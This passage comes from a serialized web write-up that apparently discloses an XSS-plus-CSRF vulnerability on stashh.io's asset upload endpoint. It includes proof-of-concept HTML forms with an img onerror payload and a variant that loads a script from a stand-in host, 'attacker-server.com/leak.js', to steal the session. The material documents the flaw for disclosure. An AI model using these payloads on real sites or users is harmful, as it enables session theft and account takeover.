\u003C",{"type":26,"tag":475,"props":32095,"children":32096},{"style":482},[32097],{"type":32,"value":32098},"body",{"type":26,"tag":475,"props":32100,"children":32101},{"style":32074},[32102],{"type":32,"value":5706},{"type":26,"tag":475,"props":32104,"children":32105},{"class":477,"line":539},[32106,32110,32115,32119,32124,32129,32133],{"type":26,"tag":475,"props":32107,"children":32108},{"style":32074},[32109],{"type":32,"value":32093},{"type":26,"tag":475,"props":32111,"children":32112},{"style":482},[32113],{"type":32,"value":32114},"script",{"type":26,"tag":475,"props":32116,"children":32117},{"style":32074},[32118],{"type":32,"value":10170},{"type":26,"tag":475,"props":32120,"children":32121},{"style":499},[32122],{"type":32,"value":32123},"history.pushState('', '', '/')",{"type":26,"tag":475,"props":32125,"children":32126},{"style":32074},[32127],{"type":32,"value":32128},"\u003C/",{"type":26,"tag":475,"props":32130,"children":32131},{"style":482},[32132],{"type":32,"value":32114},{"type":26,"tag":475,"props":32134,"children":32135},{"style":32074},[32136],{"type":32,"value":5706},{"type":26,"tag":475,"props":32138,"children":32139},{"class":477,"line":548},[32140,32145,32150,32155,32159,32164,32169,32173,32178,32182,32186,32191,32196,32200,32205,32210,32214,32219],{"type":26,"tag":475,"props":32141,"children":32142},{"style":32074},[32143],{"type":32,"value":32144}," \u003C",{"type":26,"tag":475,"props":32146,"children":32147},{"style":482},[32148],{"type":32,"value":32149},"form",{"type":26,"tag":475,"props":32151,"children":32152},{"style":2375},[32153],{"type":32,"value":32154}," id",{"type":26,"tag":475,"props":32156,"children":32157},{"style":714},[32158],{"type":32,"value":786},{"type":26,"tag":475,"props":32160,"children":32161},{"style":629},[32162],{"type":32,"value":32163},"\"form123\"",{"type":26,"tag":475,"props":32165,"children":32166},{"style":2375},[32167],{"type":32,"value":32168}," action",{"type":26,"tag":475,"props":32170,"children":32171},{"style":714},[32172],{"type":32,"value":786},{"type":26,"tag":475,"props":32174,"children":32175},{"style":629},[32176],{"type":32,"value":32177},"\"https://stashh.io/upload_asset\"",{"type":26,"tag":475,"props":32179,"children":32180},{"style":2375},[32181],{"type":32,"value":16816},{"type":26,"tag":475,"props":32183,"children":32184},{"style":714},[32185],{"type":32,"value":786},{"type":26,"tag":475,"props":32187,"children":32188},{"style":629},[32189],{"type":32,"value":32190},"\"POST\"",{"type":26,"tag":475,"props":32192,"children":32193},{"style":2375},[32194],{"type":32,"value":32195}," enctype",{"type":26,"tag":475,"props":32197,"children":32198},{"style":714},[32199],{"type":32,"value":786},{"type":26,"tag":475,"props":32201,"children":32202},{"style":629},[32203],{"type":32,"value":32204},"\"multipart/form-data\"",{"type":26,"tag":475,"props":32206,"children":32207},{"style":2375},[32208],{"type":32,"value":32209}," value",{"type":26,"tag":475,"props":32211,"children":32212},{"style":714},[32213],{"type":32,"value":786},{"type":26,"tag":475,"props":32215,"children":32216},{"style":629},[32217],{"type":32,"value":32218},"\"asd\"",{"type":26,"tag":475,"props":32220,"children":32221},{"style":32074},[32222],{"type":32,"value":5706},{"type":26,"tag":475,"props":32224,"children":32225},{"class":477,"line":558},[32226,32231,32235,32240,32244,32249,32254,32258,32263,32267,32271,32276],{"type":26,"tag":475,"props":32227,"children":32228},{"style":32074},[32229],{"type":32,"value":32230}," \u003C",{"type":26,"tag":475,"props":32232,"children":32233},{"style":482},[32234],{"type":32,"value":8078},{"type":26,"tag":475,"props":32236,"children":32237},{"style":2375},[32238],{"type":32,"value":32239}," type",{"type":26,"tag":475,"props":32241,"children":32242},{"style":714},[32243],{"type":32,"value":786},{"type":26,"tag":475,"props":32245,"children":32246},{"style":629},[32247],{"type":32,"value":32248},"\"file\"",{"type":26,"tag":475,"props":32250,"children":32251},{"style":2375},[32252],{"type":32,"value":32253}," name",{"type":26,"tag":475,"props":32255,"children":32256},{"style":714},[32257],{"type":32,"value":786},{"type":26,"tag":475,"props":32259,"children":32260},{"style":629},[32261],{"type":32,"value":32262},"\"data\"",{"type":26,"tag":475,"props":32264,"children":32265},{"style":2375},[32266],{"type":32,"value":32154},{"type":26,"tag":475,"props":32268,"children":32269},{"style":714},[32270],{"type":32,"value":786},{"type":26,"tag":475,"props":32272,"children":32273},{"style":629},[32274],{"type":32,"value":32275},"\"file123\"",{"type":26,"tag":475,"props":32277,"children":32278},{"style":32074},[32279],{"type":32,"value":5706},{"type":26,"tag":475,"props":32281,"children":32282},{"class":477,"line":582},[32283,32288,32292,32296,32300,32305,32309,32313,32318,32322,32326,32330,32335,32340,32345,32350,32355,32359,32364,32369,32374,32378,32383,32388,32392,32397,32402,32407,32412,32417,32422,32427,32431,32436,32441,32446,32451,32456,32460,32465,32470,32474],{"type":26,"tag":475,"props":32284,"children":32285},{"style":32074},[32286],{"type":32,"value":32287}," \u003C",{"type":26,"tag":475,"props":32289,"children":32290},{"style":482},[32291],{"type":32,"value":8078},{"type":26,"tag":475,"props":32293,"children":32294},{"style":2375},[32295],{"type":32,"value":32239},{"type":26,"tag":475,"props":32297,"children":32298},{"style":714},[32299],{"type":32,"value":786},{"type":26,"tag":475,"props":32301,"children":32302},{"style":629},[32303],{"type":32,"value":32304},"\"hidden\"",{"type":26,"tag":475,"props":32306,"children":32307},{"style":2375},[32308],{"type":32,"value":32253},{"type":26,"tag":475,"props":32310,"children":32311},{"style":714},[32312],{"type":32,"value":786},{"type":26,"tag":475,"props":32314,"children":32315},{"style":629},[32316],{"type":32,"value":32317},"\"config\"",{"type":26,"tag":475,"props":32319,"children":32320},{"style":2375},[32321],{"type":32,"value":32209},{"type":26,"tag":475,"props":32323,"children":32324},{"style":714},[32325],{"type":32,"value":786},{"type":26,"tag":475,"props":32327,"children":32328},{"style":629},[32329],{"type":32,"value":727},{"type":26,"tag":475,"props":32331,"children":32332},{"style":482},[32333],{"type":32,"value":32334},"{"",{"type":26,"tag":475,"props":32336,"children":32337},{"style":629},[32338],{"type":32,"value":32339},"address",{"type":26,"tag":475,"props":32341,"children":32342},{"style":482},[32343],{"type":32,"value":32344},"":"",{"type":26,"tag":475,"props":32346,"children":32347},{"style":629},[32348],{"type":32,"value":32349},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":26,"tag":475,"props":32351,"children":32352},{"style":482},[32353],{"type":32,"value":32354},"<",{"type":26,"tag":475,"props":32356,"children":32357},{"style":629},[32358],{"type":32,"value":132},{"type":26,"tag":475,"props":32360,"children":32361},{"style":482},[32362],{"type":32,"value":32363},"/",{"type":26,"tag":475,"props":32365,"children":32366},{"style":629},[32367],{"type":32,"value":32368},"src",{"type":26,"tag":475,"props":32370,"children":32371},{"style":482},[32372],{"type":32,"value":32373},"=",{"type":26,"tag":475,"props":32375,"children":32376},{"style":629},[32377],{"type":32,"value":18984},{"type":26,"tag":475,"props":32379,"children":32380},{"style":482},[32381],{"type":32,"value":32382}," ",{"type":26,"tag":475,"props":32384,"children":32385},{"style":629},[32386],{"type":32,"value":32387},"onerror",{"type":26,"tag":475,"props":32389,"children":32390},{"style":482},[32391],{"type":32,"value":32373},{"type":26,"tag":475,"props":32393,"children":32394},{"style":629},[32395],{"type":32,"value":32396},"alert",{"type":26,"tag":475,"props":32398,"children":32399},{"style":482},[32400],{"type":32,"value":32401},"(",{"type":26,"tag":475,"props":32403,"children":32404},{"style":629},[32405],{"type":32,"value":32406},"document",{"type":26,"tag":475,"props":32408,"children":32409},{"style":482},[32410],{"type":32,"value":32411},".",{"type":26,"tag":475,"props":32413,"children":32414},{"style":629},[32415],{"type":32,"value":32416},"domain",{"type":26,"tag":475,"props":32418,"children":32419},{"style":482},[32420],{"type":32,"value":32421},")>","",{"type":26,"tag":475,"props":32423,"children":32424},{"style":629},[32425],{"type":32,"value":32426},"to",{"type":26,"tag":475,"props":32428,"children":32429},{"style":482},[32430],{"type":32,"value":32344},{"type":26,"tag":475,"props":32432,"children":32433},{"style":629},[32434],{"type":32,"value":32435},"profile",{"type":26,"tag":475,"props":32437,"children":32438},{"style":482},[32439],{"type":32,"value":32440},"-",{"type":26,"tag":475,"props":32442,"children":32443},{"style":629},[32444],{"type":32,"value":32445},"assets",{"type":26,"tag":475,"props":32447,"children":32448},{"style":482},[32449],{"type":32,"value":32450},"","",{"type":26,"tag":475,"props":32452,"children":32453},{"style":629},[32454],{"type":32,"value":32455},"type",{"type":26,"tag":475,"props":32457,"children":32458},{"style":482},[32459],{"type":32,"value":32344},{"type":26,"tag":475,"props":32461,"children":32462},{"style":629},[32463],{"type":32,"value":32464},"icon",{"type":26,"tag":475,"props":32466,"children":32467},{"style":482},[32468],{"type":32,"value":32469},""}",{"type":26,"tag":475,"props":32471,"children":32472},{"style":629},[32473],{"type":32,"value":727},{"type":26,"tag":475,"props":32475,"children":32476},{"style":32074},[32477],{"type":32,"value":32478}," />\n",{"type":26,"tag":475,"props":32480,"children":32481},{"class":477,"line":596},[32482,32486,32490,32494,32498,32503,32507,32511,32516],{"type":26,"tag":475,"props":32483,"children":32484},{"style":32074},[32485],{"type":32,"value":32287},{"type":26,"tag":475,"props":32487,"children":32488},{"style":482},[32489],{"type":32,"value":8078},{"type":26,"tag":475,"props":32491,"children":32492},{"style":2375},[32493],{"type":32,"value":32239},{"type":26,"tag":475,"props":32495,"children":32496},{"style":714},[32497],{"type":32,"value":786},{"type":26,"tag":475,"props":32499,"children":32500},{"style":629},[32501],{"type":32,"value":32502},"\"submit\"",{"type":26,"tag":475,"props":32504,"children":32505},{"style":2375},[32506],{"type":32,"value":32209},{"type":26,"tag":475,"props":32508,"children":32509},{"style":714},[32510],{"type":32,"value":786},{"type":26,"tag":475,"props":32512,"children":32513},{"style":629},[32514],{"type":32,"value":32515},"\"Submit request\"",{"type":26,"tag":475,"props":32517,"children":32518},{"style":32074},[32519],{"type":32,"value":32478},{"type":26,"tag":475,"props":32521,"children":32522},{"class":477,"line":610},[32523,32528,32532],{"type":26,"tag":475,"props":32524,"children":32525},{"style":32074},[32526],{"type":32,"value":32527}," \u003C/",{"type":26,"tag":475,"props":32529,"children":32530},{"style":482},[32531],{"type":32,"value":32149},{"type":26,"tag":475,"props":32533,"children":32534},{"style":32074},[32535],{"type":32,"value":5706},{"type":26,"tag":475,"props":32537,"children":32538},{"class":477,"line":650},[32539,32544,32548],{"type":26,"tag":475,"props":32540,"children":32541},{"style":32074},[32542],{"type":32,"value":32543}," \u003C/",{"type":26,"tag":475,"props":32545,"children":32546},{"style":482},[32547],{"type":32,"value":32098},{"type":26,"tag":475,"props":32549,"children":32550},{"style":32074},[32551],{"type":32,"value":5706},{"type":26,"tag":475,"props":32553,"children":32554},{"class":477,"line":679},[32555],{"type":26,"tag":475,"props":32556,"children":32557},{"emptyLinePlaceholder":18},[32558],{"type":32,"value":545},{"type":26,"tag":475,"props":32560,"children":32561},{"class":477,"line":735},[32562,32566,32570],{"type":26,"tag":475,"props":32563,"children":32564},{"style":32074},[32565],{"type":32,"value":32093},{"type":26,"tag":475,"props":32567,"children":32568},{"style":482},[32569],{"type":32,"value":32114},{"type":26,"tag":475,"props":32571,"children":32572},{"style":32074},[32573],{"type":32,"value":5706},{"type":26,"tag":475,"props":32575,"children":32576},{"class":477,"line":744},[32577],{"type":26,"tag":475,"props":32578,"children":32579},{"emptyLinePlaceholder":18},[32580],{"type":32,"value":545},{"type":26,"tag":475,"props":32582,"children":32583},{"class":477,"line":753},[32584,32589],{"type":26,"tag":475,"props":32585,"children":32586},{"style":499},[32587],{"type":32,"value":32588}," (async ()=>",{"type":26,"tag":475,"props":32590,"children":32591},{"style":482},[32592],{"type":32,"value":10589},{"type":26,"tag":475,"props":32594,"children":32595},{"class":477,"line":761},[32596,32601,32606,32611,32615,32619,32623,32627,32631,32636,32641,32646],{"type":26,"tag":475,"props":32597,"children":32598},{"style":2375},[32599],{"type":32,"value":32600}," const",{"type":26,"tag":475,"props":32602,"children":32603},{"style":2375},[32604],{"type":32,"value":32605}," blob",{"type":26,"tag":475,"props":32607,"children":32608},{"style":714},[32609],{"type":32,"value":32610}," = ",{"type":26,"tag":475,"props":32612,"children":32613},{"style":586},[32614],{"type":32,"value":2476},{"type":26,"tag":475,"props":32616,"children":32617},{"style":714},[32618],{"type":32,"value":2775},{"type":26,"tag":475,"props":32620,"children":32621},{"style":586},[32622],{"type":32,"value":2476},{"type":26,"tag":475,"props":32624,"children":32625},{"style":493},[32626],{"type":32,"value":2393},{"type":26,"tag":475,"props":32628,"children":32629},{"style":714},[32630],{"type":32,"value":626},{"type":26,"tag":475,"props":32632,"children":32633},{"style":629},[32634],{"type":32,"value":32635},"\"/sapo.png\"",{"type":26,"tag":475,"props":32637,"children":32638},{"style":714},[32639],{"type":32,"value":32640},")).",{"type":26,"tag":475,"props":32642,"children":32643},{"style":493},[32644],{"type":32,"value":32645},"blob",{"type":26,"tag":475,"props":32647,"children":32648},{"style":714},[32649],{"type":32,"value":607},{"type":26,"tag":475,"props":32651,"children":32652},{"class":477,"line":770},[32653],{"type":26,"tag":475,"props":32654,"children":32655},{"emptyLinePlaceholder":18},[32656],{"type":32,"value":545},{"type":26,"tag":475,"props":32658,"children":32659},{"class":477,"line":794},[32660,32664,32669,32673,32677,32682,32687,32691,32695,32700,32705,32710,32715],{"type":26,"tag":475,"props":32661,"children":32662},{"style":2375},[32663],{"type":32,"value":2770},{"type":26,"tag":475,"props":32665,"children":32666},{"style":2375},[32667],{"type":32,"value":32668}," f",{"type":26,"tag":475,"props":32670,"children":32671},{"style":714},[32672],{"type":32,"value":32610},{"type":26,"tag":475,"props":32674,"children":32675},{"style":482},[32676],{"type":32,"value":14828},{"type":26,"tag":475,"props":32678,"children":32679},{"style":493},[32680],{"type":32,"value":32681}," File",{"type":26,"tag":475,"props":32683,"children":32684},{"style":714},[32685],{"type":32,"value":32686},"([",{"type":26,"tag":475,"props":32688,"children":32689},{"style":2375},[32690],{"type":32,"value":32645},{"type":26,"tag":475,"props":32692,"children":32693},{"style":714},[32694],{"type":32,"value":22769},{"type":26,"tag":475,"props":32696,"children":32697},{"style":629},[32698],{"type":32,"value":32699},"'sapo.png'",{"type":26,"tag":475,"props":32701,"children":32702},{"style":714},[32703],{"type":32,"value":32704},", {",{"type":26,"tag":475,"props":32706,"children":32707},{"style":2375},[32708],{"type":32,"value":32709},"type:",{"type":26,"tag":475,"props":32711,"children":32712},{"style":629},[32713],{"type":32,"value":32714}," 'image/png'",{"type":26,"tag":475,"props":32716,"children":32717},{"style":714},[32718],{"type":32,"value":32719},"})\n",{"type":26,"tag":475,"props":32721,"children":32722},{"class":477,"line":831},[32723,32727,32732,32736,32740,32745],{"type":26,"tag":475,"props":32724,"children":32725},{"style":2375},[32726],{"type":32,"value":32600},{"type":26,"tag":475,"props":32728,"children":32729},{"style":2375},[32730],{"type":32,"value":32731}," dataTransfer",{"type":26,"tag":475,"props":32733,"children":32734},{"style":714},[32735],{"type":32,"value":32610},{"type":26,"tag":475,"props":32737,"children":32738},{"style":482},[32739],{"type":32,"value":14828},{"type":26,"tag":475,"props":32741,"children":32742},{"style":493},[32743],{"type":32,"value":32744}," DataTransfer",{"type":26,"tag":475,"props":32746,"children":32747},{"style":714},[32748],{"type":32,"value":3376},{"type":26,"tag":475,"props":32750,"children":32751},{"class":477,"line":845},[32752,32757,32761,32766,32770,32774,32778,32783],{"type":26,"tag":475,"props":32753,"children":32754},{"style":2375},[32755],{"type":32,"value":32756}," dataTransfer",{"type":26,"tag":475,"props":32758,"children":32759},{"style":714},[32760],{"type":32,"value":353},{"type":26,"tag":475,"props":32762,"children":32763},{"style":2375},[32764],{"type":32,"value":32765},"items",{"type":26,"tag":475,"props":32767,"children":32768},{"style":714},[32769],{"type":32,"value":353},{"type":26,"tag":475,"props":32771,"children":32772},{"style":493},[32773],{"type":32,"value":9346},{"type":26,"tag":475,"props":32775,"children":32776},{"style":714},[32777],{"type":32,"value":626},{"type":26,"tag":475,"props":32779,"children":32780},{"style":2375},[32781],{"type":32,"value":32782},"f",{"type":26,"tag":475,"props":32784,"children":32785},{"style":714},[32786],{"type":32,"value":3533},{"type":26,"tag":475,"props":32788,"children":32789},{"class":477,"line":854},[32790],{"type":26,"tag":475,"props":32791,"children":32792},{"emptyLinePlaceholder":18},[32793],{"type":32,"value":545},{"type":26,"tag":475,"props":32795,"children":32796},{"class":477,"line":862},[32797,32802,32806,32811,32815,32820,32824,32828],{"type":26,"tag":475,"props":32798,"children":32799},{"style":2375},[32800],{"type":32,"value":32801}," file123",{"type":26,"tag":475,"props":32803,"children":32804},{"style":714},[32805],{"type":32,"value":353},{"type":26,"tag":475,"props":32807,"children":32808},{"style":2375},[32809],{"type":32,"value":32810},"files",{"type":26,"tag":475,"props":32812,"children":32813},{"style":714},[32814],{"type":32,"value":32610},{"type":26,"tag":475,"props":32816,"children":32817},{"style":2375},[32818],{"type":32,"value":32819},"dataTransfer",{"type":26,"tag":475,"props":32821,"children":32822},{"style":714},[32823],{"type":32,"value":353},{"type":26,"tag":475,"props":32825,"children":32826},{"style":2375},[32827],{"type":32,"value":32810},{"type":26,"tag":475,"props":32829,"children":32830},{"style":714},[32831],{"type":32,"value":2729},{"type":26,"tag":475,"props":32833,"children":32834},{"class":477,"line":885},[32835,32840],{"type":26,"tag":475,"props":32836,"children":32837},{"style":482},[32838],{"type":32,"value":32839}," }",{"type":26,"tag":475,"props":32841,"children":32842},{"style":499},[32843],{"type":32,"value":32844},")()\n",{"type":26,"tag":475,"props":32846,"children":32847},{"class":477,"line":913},[32848],{"type":26,"tag":475,"props":32849,"children":32850},{"emptyLinePlaceholder":18},[32851],{"type":32,"value":545},{"type":26,"tag":475,"props":32853,"children":32854},{"class":477,"line":926},[32855,32859,32863],{"type":26,"tag":475,"props":32856,"children":32857},{"style":32074},[32858],{"type":32,"value":32543},{"type":26,"tag":475,"props":32860,"children":32861},{"style":482},[32862],{"type":32,"value":32114},{"type":26,"tag":475,"props":32864,"children":32865},{"style":32074},[32866],{"type":32,"value":5706},{"type":26,"tag":475,"props":32868,"children":32869},{"class":477,"line":948},[32870,32874,32878],{"type":26,"tag":475,"props":32871,"children":32872},{"style":32074},[32873],{"type":32,"value":32128},{"type":26,"tag":475,"props":32875,"children":32876},{"style":482},[32877],{"type":32,"value":32081},{"type":26,"tag":475,"props":32879,"children":32880},{"style":32074},[32881],{"type":32,"value":5706},{"type":26,"tag":35,"props":32883,"children":32884},{},[32885],{"type":32,"value":32886},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":26,"tag":35,"props":32888,"children":32889},{},[32890],{"type":32,"value":32891},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":26,"tag":35,"props":32893,"children":32894},{},[32895],{"type":32,"value":32896},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":26,"tag":35,"props":32898,"children":32899},{},[32900],{"type":32,"value":32901},"From here, we were able to steal the session cookie from local storage.",{"type":26,"tag":465,"props":32903,"children":32905},{"className":2332,"code":32904,"language":2334,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[32906],{"type":26,"tag":53,"props":32907,"children":32908},{"__ignoreMap":7},[32909,32924,32939,32970,33045,33096,33284,33323,33338,33353,33360,33375,33382,33393,33444,33451,33506,33533,33568,33575,33610,33617,33638,33649,33656,33671],{"type":26,"tag":475,"props":32910,"children":32911},{"class":477,"line":478},[32912,32916,32920],{"type":26,"tag":475,"props":32913,"children":32914},{"style":32074},[32915],{"type":32,"value":5519},{"type":26,"tag":475,"props":32917,"children":32918},{"style":482},[32919],{"type":32,"value":32081},{"type":26,"tag":475,"props":32921,"children":32922},{"style":32074},[32923],{"type":32,"value":5706},{"type":26,"tag":475,"props":32925,"children":32926},{"class":477,"line":516},[32927,32931,32935],{"type":26,"tag":475,"props":32928,"children":32929},{"style":32074},[32930],{"type":32,"value":32093},{"type":26,"tag":475,"props":32932,"children":32933},{"style":482},[32934],{"type":32,"value":32098},{"type":26,"tag":475,"props":32936,"children":32937},{"style":32074},[32938],{"type":32,"value":5706},{"type":26,"tag":475,"props":32940,"children":32941},{"class":477,"line":539},[32942,32946,32950,32954,32958,32962,32966],{"type":26,"tag":475,"props":32943,"children":32944},{"style":32074},[32945],{"type":32,"value":32093},{"type":26,"tag":475,"props":32947,"children":32948},{"style":482},[32949],{"type":32,"value":32114},{"type":26,"tag":475,"props":32951,"children":32952},{"style":32074},[32953],{"type":32,"value":10170},{"type":26,"tag":475,"props":32955,"children":32956},{"style":499},[32957],{"type":32,"value":32123},{"type":26,"tag":475,"props":32959,"children":32960},{"style":32074},[32961],{"type":32,"value":32128},{"type":26,"tag":475,"props":32963,"children":32964},{"style":482},[32965],{"type":32,"value":32114},{"type":26,"tag":475,"props":32967,"children":32968},{"style":32074},[32969],{"type":32,"value":5706},{"type":26,"tag":475,"props":32971,"children":32972},{"class":477,"line":548},[32973,32977,32981,32985,32989,32993,32997,33001,33005,33009,33013,33017,33021,33025,33029,33033,33037,33041],{"type":26,"tag":475,"props":32974,"children":32975},{"style":32074},[32976],{"type":32,"value":32144},{"type":26,"tag":475,"props":32978,"children":32979},{"style":482},[32980],{"type":32,"value":32149},{"type":26,"tag":475,"props":32982,"children":32983},{"style":2375},[32984],{"type":32,"value":32154},{"type":26,"tag":475,"props":32986,"children":32987},{"style":714},[32988],{"type":32,"value":786},{"type":26,"tag":475,"props":32990,"children":32991},{"style":629},[32992],{"type":32,"value":32163},{"type":26,"tag":475,"props":32994,"children":32995},{"style":2375},[32996],{"type":32,"value":32168},{"type":26,"tag":475,"props":32998,"children":32999},{"style":714},[33000],{"type":32,"value":786},{"type":26,"tag":475,"props":33002,"children":33003},{"style":629},[33004],{"type":32,"value":32177},{"type":26,"tag":475,"props":33006,"children":33007},{"style":2375},[33008],{"type":32,"value":16816},{"type":26,"tag":475,"props":33010,"children":33011},{"style":714},[33012],{"type":32,"value":786},{"type":26,"tag":475,"props":33014,"children":33015},{"style":629},[33016],{"type":32,"value":32190},{"type":26,"tag":475,"props":33018,"children":33019},{"style":2375},[33020],{"type":32,"value":32195},{"type":26,"tag":475,"props":33022,"children":33023},{"style":714},[33024],{"type":32,"value":786},{"type":26,"tag":475,"props":33026,"children":33027},{"style":629},[33028],{"type":32,"value":32204},{"type":26,"tag":475,"props":33030,"children":33031},{"style":2375},[33032],{"type":32,"value":32209},{"type":26,"tag":475,"props":33034,"children":33035},{"style":714},[33036],{"type":32,"value":786},{"type":26,"tag":475,"props":33038,"children":33039},{"style":629},[33040],{"type":32,"value":32218},{"type":26,"tag":475,"props":33042,"children":33043},{"style":32074},[33044],{"type":32,"value":5706},{"type":26,"tag":475,"props":33046,"children":33047},{"class":477,"line":558},[33048,33052,33056,33060,33064,33068,33072,33076,33080,33084,33088,33092],{"type":26,"tag":475,"props":33049,"children":33050},{"style":32074},[33051],{"type":32,"value":32230},{"type":26,"tag":475,"props":33053,"children":33054},{"style":482},[33055],{"type":32,"value":8078},{"type":26,"tag":475,"props":33057,"children":33058},{"style":2375},[33059],{"type":32,"value":32239},{"type":26,"tag":475,"props":33061,"children":33062},{"style":714},[33063],{"type":32,"value":786},{"type":26,"tag":475,"props":33065,"children":33066},{"style":629},[33067],{"type":32,"value":32248},{"type":26,"tag":475,"props":33069,"children":33070},{"style":2375},[33071],{"type":32,"value":32253},{"type":26,"tag":475,"props":33073,"children":33074},{"style":714},[33075],{"type":32,"value":786},{"type":26,"tag":475,"props":33077,"children":33078},{"style":629},[33079],{"type":32,"value":32262},{"type":26,"tag":475,"props":33081,"children":33082},{"style":2375},[33083],{"type":32,"value":32154},{"type":26,"tag":475,"props":33085,"children":33086},{"style":714},[33087],{"type":32,"value":786},{"type":26,"tag":475,"props":33089,"children":33090},{"style":629},[33091],{"type":32,"value":32275},{"type":26,"tag":475,"props":33093,"children":33094},{"style":32074},[33095],{"type":32,"value":5706},{"type":26,"tag":475,"props":33097,"children":33098},{"class":477,"line":582},[33099,33103,33107,33111,33115,33119,33123,33127,33131,33135,33139,33143,33148,33152,33157,33161,33166,33170,33175,33180,33184,33188,33193,33198,33203,33208,33213,33218,33222,33227,33231,33235,33240,33244,33249,33254,33259,33263,33267,33271,33276,33280],{"type":26,"tag":475,"props":33100,"children":33101},{"style":32074},[33102],{"type":32,"value":32287},{"type":26,"tag":475,"props":33104,"children":33105},{"style":482},[33106],{"type":32,"value":8078},{"type":26,"tag":475,"props":33108,"children":33109},{"style":2375},[33110],{"type":32,"value":32239},{"type":26,"tag":475,"props":33112,"children":33113},{"style":714},[33114],{"type":32,"value":786},{"type":26,"tag":475,"props":33116,"children":33117},{"style":629},[33118],{"type":32,"value":32304},{"type":26,"tag":475,"props":33120,"children":33121},{"style":2375},[33122],{"type":32,"value":32253},{"type":26,"tag":475,"props":33124,"children":33125},{"style":714},[33126],{"type":32,"value":786},{"type":26,"tag":475,"props":33128,"children":33129},{"style":629},[33130],{"type":32,"value":32317},{"type":26,"tag":475,"props":33132,"children":33133},{"style":2375},[33134],{"type":32,"value":32209},{"type":26,"tag":475,"props":33136,"children":33137},{"style":714},[33138],{"type":32,"value":786},{"type":26,"tag":475,"props":33140,"children":33141},{"style":629},[33142],{"type":32,"value":727},{"type":26,"tag":475,"props":33144,"children":33145},{"style":482},[33146],{"type":32,"value":33147},"{"",{"type":26,"tag":475,"props":33149,"children":33150},{"style":629},[33151],{"type":32,"value":32339},{"type":26,"tag":475,"props":33153,"children":33154},{"style":482},[33155],{"type":32,"value":33156},"":"<",{"type":26,"tag":475,"props":33158,"children":33159},{"style":629},[33160],{"type":32,"value":132},{"type":26,"tag":475,"props":33162,"children":33163},{"style":482},[33164],{"type":32,"value":33165},"/",{"type":26,"tag":475,"props":33167,"children":33168},{"style":629},[33169],{"type":32,"value":32368},{"type":26,"tag":475,"props":33171,"children":33172},{"style":482},[33173],{"type":32,"value":33174},"=",{"type":26,"tag":475,"props":33176,"children":33177},{"style":629},[33178],{"type":32,"value":33179},"x onerror",{"type":26,"tag":475,"props":33181,"children":33182},{"style":482},[33183],{"type":32,"value":33174},{"type":26,"tag":475,"props":33185,"children":33186},{"style":629},[33187],{"type":32,"value":19192},{"type":26,"tag":475,"props":33189,"children":33190},{"style":482},[33191],{"type":32,"value":33192},"(`",{"type":26,"tag":475,"props":33194,"children":33195},{"style":629},[33196],{"type":32,"value":33197},"https",{"type":26,"tag":475,"props":33199,"children":33200},{"style":482},[33201],{"type":32,"value":33202},"://",{"type":26,"tag":475,"props":33204,"children":33205},{"style":629},[33206],{"type":32,"value":33207},"attacker-server",{"type":26,"tag":475,"props":33209,"children":33210},{"style":482},[33211],{"type":32,"value":33212},".",{"type":26,"tag":475,"props":33214,"children":33215},{"style":629},[33216],{"type":32,"value":33217},"com",{"type":26,"tag":475,"props":33219,"children":33220},{"style":482},[33221],{"type":32,"value":33165},{"type":26,"tag":475,"props":33223,"children":33224},{"style":629},[33225],{"type":32,"value":33226},"leak",{"type":26,"tag":475,"props":33228,"children":33229},{"style":482},[33230],{"type":32,"value":33212},{"type":26,"tag":475,"props":33232,"children":33233},{"style":629},[33234],{"type":32,"value":2334},{"type":26,"tag":475,"props":33236,"children":33237},{"style":482},[33238],{"type":32,"value":33239},"`)>","",{"type":26,"tag":475,"props":33241,"children":33242},{"style":629},[33243],{"type":32,"value":32426},{"type":26,"tag":475,"props":33245,"children":33246},{"style":482},[33247],{"type":32,"value":33248},"":"",{"type":26,"tag":475,"props":33250,"children":33251},{"style":629},[33252],{"type":32,"value":33253},"profile-assets",{"type":26,"tag":475,"props":33255,"children":33256},{"style":482},[33257],{"type":32,"value":33258},"","",{"type":26,"tag":475,"props":33260,"children":33261},{"style":629},[33262],{"type":32,"value":32455},{"type":26,"tag":475,"props":33264,"children":33265},{"style":482},[33266],{"type":32,"value":33248},{"type":26,"tag":475,"props":33268,"children":33269},{"style":629},[33270],{"type":32,"value":32464},{"type":26,"tag":475,"props":33272,"children":33273},{"style":482},[33274],{"type":32,"value":33275},""}",{"type":26,"tag":475,"props":33277,"children":33278},{"style":629},[33279],{"type":32,"value":727},{"type":26,"tag":475,"props":33281,"children":33282},{"style":32074},[33283],{"type":32,"value":32478},{"type":26,"tag":475,"props":33285,"children":33286},{"class":477,"line":596},[33287,33291,33295,33299,33303,33307,33311,33315,33319],{"type":26,"tag":475,"props":33288,"children":33289},{"style":32074},[33290],{"type":32,"value":32287},{"type":26,"tag":475,"props":33292,"children":33293},{"style":482},[33294],{"type":32,"value":8078},{"type":26,"tag":475,"props":33296,"children":33297},{"style":2375},[33298],{"type":32,"value":32239},{"type":26,"tag":475,"props":33300,"children":33301},{"style":714},[33302],{"type":32,"value":786},{"type":26,"tag":475,"props":33304,"children":33305},{"style":629},[33306],{"type":32,"value":32502},{"type":26,"tag":475,"props":33308,"children":33309},{"style":2375},[33310],{"type":32,"value":32209},{"type":26,"tag":475,"props":33312,"children":33313},{"style":714},[33314],{"type":